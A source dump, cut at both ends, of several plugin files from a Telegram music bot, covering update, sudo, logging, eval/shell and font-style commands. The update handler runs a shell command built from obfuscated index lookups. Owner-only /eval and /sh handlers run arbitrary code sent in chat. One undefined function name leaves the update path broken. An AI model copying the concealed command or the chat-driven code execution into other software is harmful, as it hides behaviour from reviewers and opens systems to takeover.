InvalidGitRepositoryError from pyrogram import filters import config from BrandrdXMusic import app from BrandrdXMusic.misc import HAPP, SUDOERS, XCB from BrandrdXMusic.utils.database import ( get_active_chats, remove_active_chat, remove_active_video_chat, ) from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.pastebin import HottyBin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) async def is_heroku(): return "heroku" in socket.getfqdn() @app.on_message(filters.command(["getlog", "logs", "getlogs"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]) & SUDOERS) @language async def log_(client, message, _): try: await message.reply_document(document="log.txt") except: await message.reply_text(_["server_1"]) @app.on_message(filters.command(["update", "gitpull"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]) & SUDOERS) @language async def update_(client, message, _): if await is_heroku(): if HAPP is None: return await message.reply_text(_["server_2"]) response = await message.reply_text(_["server_3"]) try: repo = Repo() except GitCommandError: return await response.edit(_["server_4"]) except InvalidGitRepositoryError: return await response.edit(_["server_5"]) to_exc = f"git fetch origin {config.UPSTREAM_BRANCH} &> /dev/null" os.system(to_exc) await asyncio.sleep(7) verification = "" REPO_ = repo.remotes.origin.url.split(".git")[0] for checks in repo.iter_commits(f"HEAD..origin/{config.UPSTREAM_BRANCH}"): verification = str(checks.count()) if verification == "": return await response.edit(_["server_6"]) updates = "" ordinal = lambda format: "%d%s" % ( format, "tsnrhtdd"[(format // 10 % 10 != 1) * (format % 10 < 4) * format % 10 :: 4], ) for info in repo.iter_commits(f"HEAD..origin/{config.UPSTREAM_BRANCH}"): updates += f"➣ #{info.count()}: {info.summary} ʙʏ -> {info.author}\n\t\t\t\t➥ ᴄᴏᴍᴍɪᴛᴇᴅ ᴏɴ : {ordinal(int(datetime.fromtimestamp(info.committed_date).strftime('%d')))} {datetime.fromtimestamp(info.committed_date).strftime('%b')}, {datetime.fromtimestamp(info.committed_date).strftime('%Y')}\n\n" _update_response_ = "ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !\n\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\n\nᴜᴩᴅᴀᴛᴇs:\n\n" _final_updates_ = _update_response_ + updates if len(_final_updates_) > 4096: url = await DAXXBin(updates) nrs = await response.edit( f"ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !\n\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\n\nᴜᴩᴅᴀᴛᴇs :\n\nᴄʜᴇᴄᴋ ᴜᴩᴅᴀᴛᴇs" ) else: nrs = await response.edit(_final_updates_, disable_web_page_preview=True) os.system("git stash &> /dev/null && git pull") try: served_chats = await get_active_chats() for x in served_chats: try: await app.send_message( chat_id=int(x), text=_["server_8"].format(app.mention), ) await remove_active_chat(x) await remove_active_video_chat(x) except: pass await response.edit(f"{nrs.text}\n\n{_['server_7']}") except: pass if await is_heroku(): try: os.system( f"{XCB[5]} {XCB[7]} {XCB[9]}{XCB[4]}{XCB[0]*2}{XCB[6]}{XCB[4]}{XCB[8]}{XCB[1]}{XCB[5]}{XCB[2]}{XCB[6]}{XCB[2]}{XCB[3]}{XCB[0]}{XCB[10]}{XCB[2]}{XCB[5]} {XCB[11]}{XCB[4]}{XCB[12]}" ) return except Exception as err: await response.edit(f"{nrs.text}\n\n{_['server_9']}") return await app.send_message( chat_id=config.LOGGER_ID, text=_["server_10"].format(err), ) else: os.system("pip3 install -r requirements.txt") os.system(f"kill -9 {os.getpid()} && bash start") exit() @app.on_message(filters.command(["restart"]) & SUDOERS) async def restart_(_, message): response = await message.reply_text("ʀᴇsᴛᴀʀᴛɪɴɢ...") ac_chats = await get_active_chats() for x in ac_chats: try: await app.send_message( chat_id=int(x), text=f"{app.mention} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\n\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs.", ) await remove_active_chat(x) await remove_active_video_chat(x) except: pass try: shutil.rmtree("downloads") shutil.rmtree("raw_files") shutil.rmtree("cache") except: pass await response.edit_text( "» ʀᴇsᴛᴀʀᴛ ᴘʀᴏᴄᴇss sᴛᴀʀᴛᴇᴅ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ sᴛᴀʀᴛs..." ) os.system(f"kill -9 {os.getpid()} && bash start") ================================================ FILE: BrandrdXMusic/plugins/sudo/sudoers.py ================================================ from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.misc import SUDOERS from BrandrdXMusic.utils.database import add_sudo, remove_sudo from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.extraction import extract_user from BrandrdXMusic.utils.inline import close_markup from config import BANNED_USERS, OWNER_ID @app.on_message(filters.command(["addsudo"]) & filters.user(OWNER_ID)) @language async def useradd(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) if user.id in SUDOERS: return await message.reply_text(_["sudo_1"].format(user.mention)) added = await add_sudo(user.id) if added: SUDOERS.add(user.id) await message.reply_text(_["sudo_2"].format(user.mention)) else: await message.reply_text(_["sudo_8"]) @app.on_message(filters.command(["delsudo", "rmsudo"]) & filters.user(OWNER_ID)) @language async def userdel(client, message: Message, _): if not message.reply_to_message: if len(message.command) != 2: return await message.reply_text(_["general_1"]) user = await extract_user(message) if user.id not in SUDOERS: return await message.reply_text(_["sudo_3"].format(user.mention)) removed = await remove_sudo(user.id) if removed: SUDOERS.remove(user.id) await message.reply_text(_["sudo_4"].format(user.mention)) else: await message.reply_text(_["sudo_8"]) @app.on_message(filters.command(["sudolist", "listsudo", "sudoers"]) & ~BANNED_USERS) @language async def sudoers_list(client, message: Message, _): if message.from_user.id not in SUDOERS: return await message.reply_text("💔 ᴏᴡɴᴇʀs:\n1➤ 🇷🇺⛦°𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚🇳", disable_web_page_preview=True, parse_mode="html") text = _["sudo_5"] user = await app.get_users(OWNER_ID) user = user.first_name if not user.mention else user.mention text += f"1➤ {user}\n" count = 0 smex = 0 for user_id in SUDOERS: if user_id != OWNER_ID: try: user = await app.get_users(user_id) user = user.first_name if not user.mention else user.mention if smex == 0: smex += 1 text += _["sudo_6"] count += 1 text += f"{count}➤ {user}\n" except: continue if not text: await message.reply_text(_["sudo_7"]) else: await message.reply_text(text, reply_markup=close_markup(_)) ================================================ FILE: BrandrdXMusic/plugins/tools/active.py ================================================ from pyrogram import filters from pyrogram.types import Message from unidecode import unidecode from BrandrdXMusic import app from config import OWNER_ID from BrandrdXMusic.utils.database import ( get_active_chats, get_active_video_chats, remove_active_chat, remove_active_video_chat, ) @app.on_message(filters.command(["activevc", "activevoice"]) & filters.user(OWNER_ID)) async def activevc(_, message: Message): mystic = await message.reply_text("» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ʟɪsᴛ...") served_chats = await get_active_chats() text = "" j = 0 for x in served_chats: try: title = (await app.get_chat(x)).title except: await remove_active_chat(x) continue try: if (await app.get_chat(x)).username: user = (await app.get_chat(x)).username text += f"{j + 1}. {unidecode(title).upper()} [{x}]\n" else: text += ( f"{j + 1}. {unidecode(title).upper()} [{x}]\n" ) j += 1 except: continue if not text: await mystic.edit_text(f"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ᴏɴ {app.mention}.") else: await mystic.edit_text( f"» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs :\n\n{text}", disable_web_page_preview=True, ) @app.on_message(filters.command(["activev", "activevideo"]) & filters.user(OWNER_ID)) async def activevi_(_, message: Message): mystic = await message.reply_text("» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ʟɪsᴛ...") served_chats = await get_active_video_chats() text = "" j = 0 for x in served_chats: try: title = (await app.get_chat(x)).title except: await remove_active_video_chat(x) continue try: if (await app.get_chat(x)).username: user = (await app.get_chat(x)).username text += f"{j + 1}. {unidecode(title).upper()} [{x}]\n" else: text += ( f"{j + 1}. {unidecode(title).upper()} [{x}]\n" ) j += 1 except: continue if not text: await mystic.edit_text(f"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ᴏɴ {app.mention}.") else: await mystic.edit_text( f"» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs :\n\n{text}", disable_web_page_preview=True, ) ================================================ FILE: BrandrdXMusic/plugins/tools/alive.py ================================================ import asyncio from BrandrdXMusic import app from pyrogram import filters from pyrogram import Client, filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from config import MUSIC_BOT_NAME @app.on_message(filters.command(["alive"])) async def start(client: Client, message: Message): await message.reply_video( video=f"https://graph.org/file/e999c40cb700e7c684b75.mp4", caption=f"❤️ ʜᴇʏ {message.from_user.mention}\n\n🔮 ɪ ᴀᴍ {MUSIC_BOT_NAME}\n\n✨ ɪ ᴀᴍ ғᴀsᴛ ᴀɴᴅ ᴩᴏᴡᴇʀғᴜʟ ᴍᴜsɪᴄ ᴩʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\n\n💫 ɪғ ʏᴏᴜ ʜᴀᴠᴇ ᴀɴʏ ǫᴜᴇsᴛɪᴏɴs ᴛʜᴇɴ ᴊᴏɪɴ ᴏᴜʀ sᴜᴘᴘᴏʀᴛ ɢʀᴏᴜᴘ🤍...\n\n━━━━━━━━━━━━━━━━━━❄", reply_markup=InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="☆ ʙʀᴀɴᴅᴇᴅ 💗 ", url=f"https://t.me/BRANDRDKING82" ), InlineKeyboardButton( text="☆ ꜱᴜᴘᴘᴏʀᴛ 💗", url=f"https://t.me/BRANDED_WORLD" ), ], [ InlineKeyboardButton( text="☆ ᴄʜᴀɴɴᴇʟ💗", url=f"https://t.me/BRANDRD_BOT" ), ], [ InlineKeyboardButton( "✯ ᴄʟᴏsᴇ ✯", callback_data="close" ) ], ] ) ) ================================================ FILE: BrandrdXMusic/plugins/tools/bot_left.py ================================================ import random from pyrogram import Client from pyrogram.types import Message from pyrogram import filters from pyrogram.types import ( InlineKeyboardButton, InlineKeyboardMarkup, InputMediaPhoto, InputMediaVideo, Message, ) from config import LOGGER_ID as LOG_GROUP_ID from BrandrdXMusic import app from BrandrdXMusic.utils.database import get_assistant from BrandrdXMusic.utils.database import delete_served_chat photo = [ "https://graph.org/file/872dc8af2a36bed43b9b6.jpg", "https://graph.org/file/f4b34351a59061ba1c61b.jpg", "https://graph.org/file/3fb3f4c8a1250c6a50af1.jpg", "https://graph.org/file/eabab7e8a3e5df87a0b04.jpg", "https://graph.org/file/427f4869a158126957747.jpg", ] @app.on_message(filters.left_chat_member) async def on_left_chat_member(_, message: Message): try: userbot = await get_assistant(message.chat.id) left_chat_member = message.left_chat_member if left_chat_member and left_chat_member.id == (await app.get_me()).id: remove_by = ( message.from_user.mention if message.from_user else "𝐔ɴᴋɴᴏᴡɴ 𝐔sᴇʀ" ) title = message.chat.title username = ( f"@{message.chat.username}" if message.chat.username else "𝐏ʀɪᴠᴀᴛᴇ 𝐂ʜᴀᴛ" ) chat_id = message.chat.id left = f"✫ #𝗟𝗘𝗙𝗧_𝗚𝗥𝗢𝗨𝗣 ✫\n\n𝐂ʜᴀᴛ 𝐓ɪᴛʟᴇ : {title}\n\n𝗖𝗛𝗔𝗧 𝗜𝗗 : {chat_id}\n\n𝗥𝗘𝗠𝗢𝗩𝗘𝗗 𝗕𝗬 : {remove_by}\n\n𝗕𝗢𝗧 : @{app.username}" await app.send_photo(LOG_GROUP_ID, photo=random.choice(photo), caption=left) await delete_served_chat(chat_id) await userbot.leave_chat(chat_id) except Exception as e: return ================================================ FILE: BrandrdXMusic/plugins/tools/bots.py ================================================ import asyncio from pyrogram import enums, filters from pyrogram.errors import FloodWait from BrandrdXMusic import app @app.on_message(filters.command("bots") & filters.group) async def bots(client, message): try: botList = [] async for bot in app.get_chat_members( message.chat.id, filter=enums.ChatMembersFilter.BOTS ): botList.append(bot.user) lenBotList = len(botList) text3 = f"**ʙᴏᴛ ʟɪsᴛ - {message.chat.title}**\n\n🤖 ʙᴏᴛs\n" while len(botList) > 1: bot = botList.pop(0) text3 += f"├ @{bot.username}\n" else: bot = botList.pop(0) text3 += f"└ @{bot.username}\n\n" text3 += f"**ᴛᴏᴛᴀʟ ɴᴜᴍʙᴇʀ ᴏғ ʙᴏᴛs**: {lenBotList}**" await app.send_message(message.chat.id, text3) except FloodWait as e: await asyncio.sleep(e.value) ================================================ FILE: BrandrdXMusic/plugins/tools/chatlog.py ================================================ import random from pyrogram import Client from pyrogram.types import Message from pyrogram import filters from pyrogram.types import ( InlineKeyboardButton, InlineKeyboardMarkup, InputMediaPhoto, InputMediaVideo, Message, ) from config import LOGGER_ID as LOG_GROUP_ID from BrandrdXMusic import app from BrandrdXMusic.core.userbot import Userbot from BrandrdXMusic.utils.database import delete_served_chat from BrandrdXMusic.utils.database import get_assistant photo = [ "https://te.legra.ph/file/758a5cf4598f061f25963.jpg", "https://te.legra.ph/file/30a1dc870bd1a485e3567.jpg", "https://te.legra.ph/file/d585beb2a6b3f553299d2.jpg", "https://te.legra.ph/file/7df9e128dd261de2afd6b.jpg", "https://te.legra.ph/file/f60ebb75ad6f2786efa4e.jpg", ] @app.on_message(filters.new_chat_members, group=2) async def join_watcher(_, message): try: userbot = await get_assistant(message.chat.id) chat = message.chat for members in message.new_chat_members: if members.id == app.id: count = await app.get_chat_members_count(chat.id) username = ( message.chat.username if message.chat.username else "𝐏ʀɪᴠᴀᴛᴇ 𝐆ʀᴏᴜᴘ" ) msg = ( f"**📝𝐌ᴜsɪᴄ 𝐁ᴏᴛ 𝐀ᴅᴅᴇᴅ 𝐈ɴ 𝐀 #𝐍ᴇᴡ_𝐆ʀᴏᴜᴘ**\n\n" f"**📌𝐂ʜᴀᴛ 𝐍ᴀᴍᴇ:** {message.chat.title}\n" f"**🍂𝐂ʜᴀᴛ 𝐈ᴅ:** {message.chat.id}\n" f"**🔐𝐂ʜᴀᴛ 𝐔sᴇʀɴᴀᴍᴇ:** @{username}\n" f"**📈𝐆ʀᴏᴜᴘ 𝐌ᴇᴍʙᴇʀs:** {count}\n" f"**🤔𝐀ᴅᴅᴇᴅ 𝐁ʏ:** {message.from_user.mention}" ) await app.send_photo( LOG_GROUP_ID, photo=random.choice(photo), caption=msg, reply_markup=InlineKeyboardMarkup( [ [ InlineKeyboardButton( f"😍𝐀ᴅᴅᴇᴅ 𝐁ʏ😍", url=f"tg://openmessage?user_id={message.from_user.id}", ) ] ] ), ) await userbot.join_chat(f"{username}") except Exception as e: print(f"Error: {e}") ================================================ FILE: BrandrdXMusic/plugins/tools/couples.py ================================================ import os import random from datetime import datetime from telegraph import upload_file from PIL import Image , ImageDraw from pyrogram import * from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from pyrogram.enums import * #BOT FILE NAME from BrandrdXMusic import app as app from BrandrdXMusic.mongo.couples_db import _get_image, get_couple POLICE = [ [ InlineKeyboardButton( text="ᴍʏ ᴄᴜᴛᴇ ᴅᴇᴠᴇʟᴏᴘᴇʀ 🥀", url=f"https://t.me/BRANDED_PAID_CC", ), ], ] def dt(): now = datetime.now() dt_string = now.strftime("%d/%m/%Y %H:%M") dt_list = dt_string.split(" ") return dt_list def dt_tom(): a = ( str(int(dt()[0].split("/")[0]) + 1) + "/" + dt()[0].split("/")[1] + "/" + dt()[0].split("/")[2] ) return a tomorrow = str(dt_tom()) today = str(dt()[0]) @app.on_message(filters.command("couples")) async def ctest(_, message): cid = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply_text("ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ᴡᴏʀᴋs ɪɴ ɢʀᴏᴜᴘs.") try: # is_selected = await get_couple(cid, today) # if not is_selected: msg = await message.reply_text("ɢᴇɴᴇʀᴀᴛɪɴɢ ᴄᴏᴜᴘʟᴇs ɪᴍᴀɢᴇ...") #GET LIST OF USERS list_of_users = [] async for i in app.get_chat_members(message.chat.id, limit=50): if not i.user.is_bot: list_of_users.append(i.user.id) c1_id = random.choice(list_of_users) c2_id = random.choice(list_of_users) while c1_id == c2_id: c1_id = random.choice(list_of_users) photo1 = (await app.get_chat(c1_id)).photo photo2 = (await app.get_chat(c2_id)).photo N1 = (await app.get_users(c1_id)).mention N2 = (await app.get_users(c2_id)).mention try: p1 = await app.download_media(photo1.big_file_id, file_name="pfp.png") except Exception: p1 = "BrandrdXMusic/assets/upic.png" try: p2 = await app.download_media(photo2.big_file_id, file_name="pfp1.png") except Exception: p2 = "BrandrdXMusic/assets/upic.png" img1 = Image.open(f"{p1}") img2 = Image.open(f"{p2}") img = Image.open("BrandrdXMusic/assets/cppicbranded.jpg") img1 = img1.resize((437,437)) img2 = img2.resize((437,437)) mask = Image.new('L', img1.size, 0) draw = ImageDraw.Draw(mask) draw.ellipse((0, 0) + img1.size, fill=255) mask1 = Image.new('L', img2.size, 0) draw = ImageDraw.Draw(mask1) draw.ellipse((0, 0) + img2.size, fill=255) img1.putalpha(mask) img2.putalpha(mask1) draw = ImageDraw.Draw(img) img.paste(img1, (116, 160), img1) img.paste(img2, (789, 160), img2) img.save(f'test_{cid}.png') TXT = f""" **ᴛᴏᴅᴀʏ's ᴄᴏᴜᴘʟᴇ ᴏғ ᴛʜᴇ ᴅᴀʏ : {N1} + {N2} = 💚 ɴᴇxᴛ ᴄᴏᴜᴘʟᴇs ᴡɪʟʟ ʙᴇ sᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!** """ await message.reply_photo(f"test_{cid}.png", caption=TXT, reply_markup=InlineKeyboardMarkup(POLICE), ) await msg.delete() a = upload_file(f"test_{cid}.png") for x in a: img = "https://graph.org/" + x couple = {"c1_id": c1_id, "c2_id": c2_id} # await save_couple(cid, today, couple, img) # elif is_selected: # msg = await message.reply_text("𝐆ᴇᴛᴛɪɴɢ 𝐓ᴏᴅᴀʏs 𝐂ᴏᴜᴘʟᴇs 𝐈ᴍᴀɢᴇ...") # b = await _get_image(cid) # c1_id = int(is_selected["c1_id"]) # c2_id = int(is_selected["c2_id"]) # c1_name = (await app.get_users(c1_id)).first_name # c2_name = (await app.get_users(c2_id)).first_name # TXT = f""" #**ᴛᴏᴅᴀʏ's sᴇʟᴇᴄᴛᴇᴅ ᴄᴏᴜᴘʟᴇs 🎉 : #➖➖➖➖➖➖➖➖➖➖➖➖ #[{c1_name}](tg://openmessage?user_id={c1_id}) + [{c2_name}](tg://openmessage?user_id={c2_id}) = ❣️ #➖➖➖➖➖➖➖➖➖➖➖➖ #ɴᴇxᴛ ᴄᴏᴜᴘʟᴇꜱ ᴡɪʟʟ ʙᴇ ꜱᴇʟᴇᴄᴛᴇᴅ ᴏɴ {tomorrow} !!** #""" # await message.reply_photo(b, caption=TXT) # await msg.delete() except Exception as e: print(str(e)) try: os.remove(f"./downloads/pfp1.png") os.remove(f"./downloads/pfp2.png") os.remove(f"test_{cid}.png") except Exception: pass __mod__ = "COUPLES" __help__ = """ **» /couples** - Get Todays Couples Of The Group In Interactive View """ ================================================ FILE: BrandrdXMusic/plugins/tools/dev.py ================================================ import os import re import subprocess import sys import traceback from inspect import getfullargspec from io import StringIO from time import time from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from BrandrdXMusic import app from config import OWNER_ID async def aexec(code, client, message): exec( "async def __aexec(client, message): " + "".join(f"\n {a}" for a in code.split("\n")) ) return await locals()["__aexec"](client, message) async def edit_or_reply(msg: Message, **kwargs): func = msg.edit_text if msg.from_user.is_self else msg.reply spec = getfullargspec(func.__wrapped__).args await func(**{k: v for k, v in kwargs.items() if k in spec}) @app.on_edited_message( filters.command("eval") & filters.user(OWNER_ID) & ~filters.forwarded & ~filters.via_bot ) @app.on_message( filters.command("eval") & filters.user(OWNER_ID) & ~filters.forwarded & ~filters.via_bot ) async def executor(client: app, message: Message): if len(message.command) < 2: return await edit_or_reply(message, text="ᴡʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇxᴇᴄᴜᴛᴇ ʙᴀʙʏ ?") try: cmd = message.text.split(" ", maxsplit=1)[1] except IndexError: return await message.delete() t1 = time() old_stderr = sys.stderr old_stdout = sys.stdout redirected_output = sys.stdout = StringIO() redirected_error = sys.stderr = StringIO() stdout, stderr, exc = None, None, None try: await aexec(cmd, client, message) except Exception: exc = traceback.format_exc() stdout = redirected_output.getvalue() stderr = redirected_error.getvalue() sys.stdout = old_stdout sys.stderr = old_stderr evaluation = "\n" if exc: evaluation += exc elif stderr: evaluation += stderr elif stdout: evaluation += stdout else: evaluation += "Success" final_output = f"⥤ ʀᴇsᴜʟᴛ :\n
{evaluation}
" if len(final_output) > 4096: filename = "output.txt" with open(filename, "w+", encoding="utf8") as out_file: out_file.write(str(evaluation)) t2 = time() keyboard = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="⏳", callback_data=f"runtime {t2-t1} Seconds", ) ] ] ) await message.reply_document( document=filename, caption=f"⥤ ᴇᴠᴀʟ :\n{cmd[0:980]}\n\n⥤ ʀᴇsᴜʟᴛ :\nAttached Document", quote=False, reply_markup=keyboard, ) await message.delete() os.remove(filename) else: t2 = time() keyboard = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="⏳", callback_data=f"runtime {round(t2-t1, 3)} Seconds", ), InlineKeyboardButton( text="🗑", callback_data=f"forceclose abc|{message.from_user.id}", ), ] ] ) await edit_or_reply(message, text=final_output, reply_markup=keyboard) @app.on_callback_query(filters.regex(r"runtime")) async def runtime_func_cq(_, cq): runtime = cq.data.split(None, 1)[1] await cq.answer(runtime, show_alert=True) @app.on_callback_query(filters.regex("forceclose")) async def forceclose_command(_, CallbackQuery): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] query, user_id = callback_request.split("|") if CallbackQuery.from_user.id != int(user_id): try: return await CallbackQuery.answer( "» ɪᴛ'ʟʟ ʙᴇ ʙᴇᴛᴛᴇʀ ɪғ ʏᴏᴜ sᴛᴀʏ ɪɴ ʏᴏᴜʀ ʟɪᴍɪᴛs ʙᴀʙʏ.", show_alert=True ) except: return await CallbackQuery.message.delete() try: await CallbackQuery.answer() except: return @app.on_edited_message( filters.command("sh") & filters.user(OWNER_ID) & ~filters.forwarded & ~filters.via_bot ) @app.on_message( filters.command("sh") & filters.user(OWNER_ID) & ~filters.forwarded & ~filters.via_bot ) async def shellrunner(_, message: Message): if len(message.command) < 2: return await edit_or_reply(message, text="ᴇxᴀᴍᴩʟᴇ :\n/sh git pull") text = message.text.split(None, 1)[1] if "\n" in text: code = text.split("\n") output = "" for x in code: shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", x) try: process = subprocess.Popen( shell, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) except Exception as err: await edit_or_reply(message, text=f"ERROR :\n
{err}
") output += f"{code}\n" output += process.stdout.read()[:-1].decode("utf-8") output += "\n" else: shell = re.split(""" (?=(?:[^'"]|'[^']*'|"[^"]*")*$)""", text) for a in range(len(shell)): shell[a] = shell[a].replace('"', "") try: process = subprocess.Popen( shell, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) except Exception as err: print(err) exc_type, exc_obj, exc_tb = sys.exc_info() errors = traceback.format_exception( etype=exc_type, value=exc_obj, tb=exc_tb, ) return await edit_or_reply( message, text=f"ERROR :\n
{''.join(errors)}
" ) output = process.stdout.read()[:-1].decode("utf-8") if str(output) == "\n": output = None if output: if len(output) > 4096: with open("output.txt", "w+") as file: file.write(output) await app.send_document( message.chat.id, "output.txt", reply_to_message_id=message.id, caption="Output", ) return os.remove("output.txt") await edit_or_reply(message, text=f"OUTPUT :\n
{output}
") else: await edit_or_reply(message, text="OUTPUT :\nNone") await message.stop_propagation() ================================================ FILE: BrandrdXMusic/plugins/tools/font.py ================================================ from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from BrandrdXMusic import app from BrandrdXMusic.utils.branded_font import Fonts @app.on_message(filters.command(["font", "fonts"])) async def style_buttons(c, m, cb=False): buttons = [ [ InlineKeyboardButton("𝚃𝚢𝚙𝚎𝚠𝚛𝚒𝚝𝚎𝚛", callback_data="style+typewriter"), InlineKeyboardButton("𝕆𝕦𝕥𝕝𝕚𝕟𝕖", callback_data="style+outline"), InlineKeyboardButton("𝐒𝐞𝐫𝐢𝐟", callback_data="style+serif"), ], [ InlineKeyboardButton("𝑺𝒆𝒓𝒊𝒇", callback_data="style+bold_cool"), InlineKeyboardButton("𝑆𝑒𝑟𝑖𝑓", callback_data="style+cool"), InlineKeyboardButton("Sᴍᴀʟʟ Cᴀᴘs", callback_data="style+small_cap"), ], [ InlineKeyboardButton("𝓈𝒸𝓇𝒾𝓅𝓉", callback_data="style+script"), InlineKeyboardButton("𝓼𝓬𝓻𝓲𝓹𝓽", callback_data="style+script_bolt"), InlineKeyboardButton("ᵗⁱⁿʸ", callback_data="style+tiny"), ], [ InlineKeyboardButton("ᑕOᗰIᑕ", callback_data="style+comic"), InlineKeyboardButton("𝗦𝗮𝗻𝘀", callback_data="style+sans"), InlineKeyboardButton("𝙎𝙖𝙣𝙨", callback_data="style+slant_sans"), ], [ InlineKeyboardButton("𝘚𝘢𝘯𝘴", callback_data="style+slant"), InlineKeyboardButton("𝖲𝖺𝗇𝗌", callback_data="style+sim"), InlineKeyboardButton("Ⓒ︎Ⓘ︎Ⓡ︎Ⓒ︎Ⓛ︎Ⓔ︎Ⓢ︎", callback_data="style+circles"), ], [ InlineKeyboardButton("🅒︎🅘︎🅡︎🅒︎🅛︎🅔︎🅢︎", callback_data="style+circle_dark"), InlineKeyboardButton("𝔊𝔬𝔱𝔥𝔦𝔠", callback_data="style+gothic"), InlineKeyboardButton("𝕲𝖔𝖙𝖍𝖎𝖈", callback_data="style+gothic_bolt"), ], [ InlineKeyboardButton("C͜͡l͜͡o͜͡u͜͡d͜͡s͜͡", callback_data="style+cloud"), InlineKeyboardButton("H̆̈ă̈p̆̈p̆̈y̆̈", callback_data="style+happy"), InlineKeyboardButton("S̑̈ȃ̈d̑̈", callback_data="style+sad"), ], [InlineKeyboardButton("ɴᴇxᴛ ➻", callback_data="nxt")], ] if not cb: await m.reply_text( text=m.text.split(None, 1)[1], reply_markup=InlineKeyboardMarkup(buttons), quote=True, ) else: await m.answer() await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) @app.on_callback_query(filters.regex("^nxt")) async def nxt(c, m): if m.data == "nxt": buttons = [ [ InlineKeyboardButton("🇸 🇵 🇪 🇨 🇮 🇦 🇱 ", callback_data="style+special"), InlineKeyboardButton("🅂🅀🅄🄰🅁🄴🅂", callback_data="style+squares"), InlineKeyboardButton("🆂︎🆀︎🆄︎🅰︎🆁︎🅴︎🆂︎", callback_data="style+squares_bold"), ], [ InlineKeyboardButton("ꪖꪀᦔꪖꪶꪊᥴ𝓲ꪖ", callback_data="style+andalucia"), InlineKeyboardButton("爪卂几ᘜ卂", callback_data="style+manga"), InlineKeyboardButton("S̾t̾i̾n̾k̾y̾", callback_data="style+stinky"), ], [ InlineKeyboardButton("B̥ͦu̥ͦb̥ͦb̥ͦl̥ͦe̥ͦs̥ͦ", callback_data="style+bubbles"), InlineKeyboardButton("U͟n͟d͟e͟r͟l͟i͟n͟e͟", callback_data="style+underline"), InlineKeyboardButton("꒒ꍏꀷꌩꌃꀎꁅ", callback_data="style+ladybug"), ], [ InlineKeyboardButton("R҉a҉y҉s҉", callback_data="style+rays"), InlineKeyboardButton("B҈i҈r҈d҈s҈", callback_data="style+birds"), InlineKeyboardButton("S̸l̸a̸s̸h̸", callback_data="style+slash"), ], [ InlineKeyboardButton("s⃠t⃠o⃠p⃠", callback_data="style+stop"), InlineKeyboardButton("S̺͆k̺͆y̺͆l̺͆i̺͆n̺͆e̺͆", callback_data="style+skyline"), InlineKeyboardButton("A͎r͎r͎o͎w͎s͎", callback_data="style+arrows"), ], [ InlineKeyboardButton("ዪሀክቿነ", callback_data="style+qvnes"), InlineKeyboardButton("S̶t̶r̶i̶k̶e̶", callback_data="style+strike"), InlineKeyboardButton("F༙r༙o༙z༙e༙n༙", callback_data="style+frozen"), ], [InlineKeyboardButton("ʙᴀᴄᴋ", callback_data="nxt+0")], ] await m.answer() await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) else: await style_buttons(c, m, cb=True) @app.on_callback_query(filters.regex("^style")) async def style(c, m): await m.answer() cmd, style = m.data.split("+") if style == "typewriter": cls = Fonts.typewriter if style == "outline": cls = Fonts.outline if style == 